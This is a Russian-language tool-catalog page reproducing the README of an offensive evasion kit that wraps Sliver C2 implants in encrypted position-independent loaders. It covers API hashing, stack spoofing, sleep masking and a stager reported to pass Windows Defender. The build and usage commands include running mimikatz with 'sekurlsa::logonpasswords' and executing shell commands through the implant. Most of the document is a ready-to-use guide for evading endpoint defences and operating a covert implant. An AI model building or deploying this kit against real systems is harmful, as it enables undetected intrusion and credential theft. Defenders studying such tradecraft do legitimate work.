Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CrystalSliver — Crystal Palace Evasion kit для Sliver | Kitploit
Инструменты/GitHubGitHub/licitrasimone/crystalsliver
Фреймворки для пентестаПовышение привилегийФреймворки для эксплойтовМеханизмы персистентностиОбход IDS/IPSЛатеральное перемещениеШелл-кодПост-эксплуатацияКомандование и УправлениеRed TeamingГенерация ШеллкодаРазработка Полезной Нагрузки
108142 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHublicitrasimone/crystalsliver

CrystalSliver

Crystal Palace Evasion kit для Sliver

Репозиторий
Поделиться

crystal-kit-sliver

Набор для обхода защиты Crystal Palace, портированный на Sliver C2.

Это первый публичный порт Crystal-Kit (Cobalt Strike) от rasta-mouse на Sliver. Он повторяет ту же схему кросс-C2, что была проверена в Crystal-Kit-Xenon (Mythic).

  • Лицензия: MIT — Copyright (c) 2026 Simone Licitra
  • Целевая платформа: только Windows x64 (ограничение исходного проекта)
  • Статус: проверено end-to-end — конвейер сборки Kali + запуск на Windows 10 x64 FLARE-VM. Сессия Sliver установлена.

Что это делает

Заменяет стандартный рефлексивный загрузчик Sliver и путь выполнения post-ex на Crystal Palace (Raphael Mudge, BSD). Результат — PICO-блоб (позиционно-независимый код), объединяющий:

  • разрешение API на основе хешей ror13 (без прямых LoadLibrary / GetProcAddress)
  • перехваты IAT для VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA
  • спуфинг стека вызовов Draugr во время колбэков
  • XOR-маска сна поверх внедрённой DLL
  • обфускация времени выполнения на основе libtcg

DLL импланта Sliver (или любая post-ex DLL) маскируется XOR внутри PICO и снимает маску только в памяти в момент выполнения.


Два сценария использования

A — Обход защиты импланта (ОСНОВНОЙ)

Исходная DLL импланта Sliver никогда не выполняется на цели напрямую. Вместо этого она оборачивается Crystal Palace в PICO, шифруется AES-256-CBC и доставляется вместе с кастомным стейджером (~17 КБ), который расшифровывает и выполняет её в памяти.

root@kitploit:~
sliver-server generate --format shared → impl.dll
        │
        ▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
        │
        ▼
bundle-stager.sh                   → csvchelper.exe (~17 KB, no embedded payload)
                                   → payload.dat    (~36 MB AES-256-CBC ciphertext)
        │
        ▼ deliver BOTH files to same directory on target
        ▼
Windows VM: csvchelper.exe
        │
        ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
        ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
        ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session

B — Обход защиты post-ex (ВТОРИЧНЫЙ)

Когда сессия активна, запускайте чувствительные DLL (разведка, дамперы учётных данных и т. п.) через Crystal Palace с помощью расширения Sliver.

root@kitploit:~
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin

Передавайте аргументы времени выполнения без пересборки, добавляя их после |:

root@kitploit:~
sliver > crystal --payload C:/path/file.pico.bin|args here

crystal-loader.x64.dll — это DLL-расширение Sliver, которое считывает PICO-блоб с диска в область VirtualAlloc(RW), переключает её в RX через VirtualProtect и переходит к точке входа Crystal Palace. Отображение PAGE_EXECUTE_READWRITE никогда не создаётся. В путях используются прямые слэши. Формат аргументов — type:string (не BOF-бинарник). DLL загружается Sliver в память — она не записывается файлом на диск цели.

C — Встроенное выполнение команд оболочки через Crystal Palace

crystal-exec — вторая команда, поставляемая в том же расширении. Она выполняет произвольные команды оболочки через обход защиты Crystal Palace, используя PICO, встроенный непосредственно в DLL расширения, — загружать PICO-файл не нужно.

root@kitploit:~
sliver > crystal-exec --cmd "whoami /all"

Вывод возвращается оператору через существующую сессию Sliver по каналу (pipe). Это самый быстрый путь для разовых команд оболочки, когда вам не нужна полноценная post-ex DLL.


Структура репозитория

root@kitploit:~
crystal-kit-sliver/
├── loader/              ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/       ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip       ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/         ← Sliver-specific build glue
    ├── extension.json           Sliver Extension manifest
    ├── generate.sh              Wrap a post-ex DLL  → PICO (Use case B)
    ├── generate-implant.sh      Wrap a Sliver DLL   → PICO (Use case A)
    ├── bundle-implant.sh        Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
    ├── bundle-stager.sh         Build custom stager: csvchelper.exe + payload.dat (primary)
    ├── pack-extension.sh        Pack DLL + manifest into Sliver Extension tarball
    ├── Makefile                 make objects / package / clean
    ├── stager/                  Custom stager sources (AES-256-CBC, asInvoker manifest)
    └── wrapper/                 crystal-loader.c (BOF-compat DLL wrapper)

docs/
├── RUNBOOK.md           Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md       File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md         Build prerequisites and pipeline details

Быстрая сборка (Kali / Debian / Ubuntu)

root@kitploit:~
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all

# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
   crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)

# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args:  postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh

# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh

Полную процедуру оператора (установка Sliver, настройка listener, выполнение на цели, устранение неполадок) см. в docs/RUNBOOK.md.


Что проверено


Зависимости

Этот репозиторий НЕ распространяет crystalpalace.jar. Сборочный конвейер загружает его извне и ссылается на него через переменную окружения CRYSTAL_PALACE_HOME.


Атрибуция

Полный список авторских прав и лицензий исходных проектов см. в NOTICE.md. Краткая сводка:

  • rasta-mouse — Crystal-Kit (MIT) — базовый рефлексивный загрузчик, postex-загрузчик, spec-файлы
  • nickswink — Crystal-Kit-Xenon (MIT) — шаблон патча кросс-C2 (удаление умных указателей + секция dll_args)
  • Raphael Mudge / AFF-WG — Crystal Palace (BSD-3-Clause) — линкер и инструментарий PIC
  • TrustedSec — COFFLoader (BSD-3-Clause) — слой совместимости BOF (beacon.h, beacon_compatibility.c/h)
  • BishopFox — Sliver C2 (GPLv3) — целевой фреймворк

Дорожная карта

  • 1 — Аудит исходных репозиториев + извлечение diff между Crystal-Kit и Crystal-Kit-Xenon
  • 2 — Документация по тулчейну + каркас репозитория
  • 3 — Карта портирования пофайлово с буквальными diff (docs/PORTING_MAP.md)
  • 4 — Исходники скопированы + применены патчи Xenon + LICENSE + NOTICE
  • 5 — Скрипты-связки sliver-glue/ и манифест расширения
  • 6a — DLL-обёртка написана, собрана (MinGW 15.2), упакована, smoke-тест шеллкода
  • 6b — CLI Crystal Palace проверен, реальный PICO собран end-to-end
  • 6c — Оба сценария A/B: generate-implant.sh + bundle-implant.sh
  • 6d — Тест в рантайме на Windows x64 в лаборатории — сценарий A подтверждён (сессия Sliver установлена на FLARE-VM)
  • 6e — Сценарий B проверен в рантайме ( работает, формат аргументов зафиксирован как , путь с прямыми слэшами)

Отказ от ответственности

Инструмент наступательной безопасности, предназначенный для авторизованных red team-проектов, лабораторных исследований и обучения. Используйте только в окружениях, где у вас есть письменное разрешение. Автор не несёт ответственности за неправомерное использование.

Скачать инструмент
ПунктСтатусПодтверждение
Все исходники Crystal-Kit компилируются под MinGW 15.2 + NASM 3.01OKmake all без ошибок, 8 .o + 1 .bin на загрузчик
Патчи Xenon для post-ex присутствуютOKсекция dfr "ror13", _DLLARGS_, параметр dll_arguments в DLL_PROCESS_ATTACH
CLI Crystal Palace проверенOK./link <spec> <dll> <out.bin> [%KEY=value] — позиционный, описан в dist/README
Сквозная сборка PICO (сценарий A)OKполучен PICO 117 КБ из тестовой DLL
Сквозная сборка PICO (сценарий B)OKполучен PICO 111 КБ через postex-loader/loader.spec
DLL-обёртки расширения Sliver собираютсяOKcrystal-loader.x64.dll ~42 КБ, crystal-exec.x64.dll ~75 КБ — обе PE32+, экспортируют символ Initialize; без RWX; stripped
Tarball расширения упаковывается корректноOKtarball 37 КБ проверен с помощью tar -tzf
Сборка кастомного стейджера (доставка двумя файлами)OKbundle-stager.sh → csvchelper.exe (17 КБ, энтропия 4.784) + payload.dat (AES-256-CBC)
Выполнение в рантайме на Windows (сценарий A)OKсессия Sliver установлена на Windows 10 x64 FLARE-VM; стейджер проходит Defender (Wacatac.B!ml + ZomBytes.B)
Выполнение в рантайме на Windows (сценарий B)OKcrystal --payload C:/path/file.pico.bin — новая сессия Sliver установлена через post-ex PICO; формат аргументов подтверждён как type:string, путь с прямыми слэшами
Команда crystal-execOKвывод команды оболочки возвращается оператору через канал; PICO встроен в DLL расширения, загрузка не требуется
ЗависимостьЛицензияГде взятьВ комплекте?
Crystal Palace (crystalpalace.jar, link и т. д.)BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WGcurl -O https://tradecraftgarden.org/download/cpdist-latest.tgzНет (.gitignore исключает external/)
libtcg.x64.zipбинарный файл из апстрима, лицензия не указана (вероятно, производное от QEMU TCG)скопирован из исходного репозитория Crystal-KitДа, хранится в дереве проекта для удобства сборки
Sliver C2GPLv3https://sliver.shНет — только зависимость времени выполнения
MinGW-w64 + NASMGPL-совместимаяapt install или brew installНет
crystal --payload
type:string
  • 6f — Команда crystal-exec: встроенное выполнение post-ex команд оболочки через Crystal Palace (загрузка не требуется)
  • 6g — Аргументы времени выполнения через разделитель | для динамических аргументов DLL без пересборки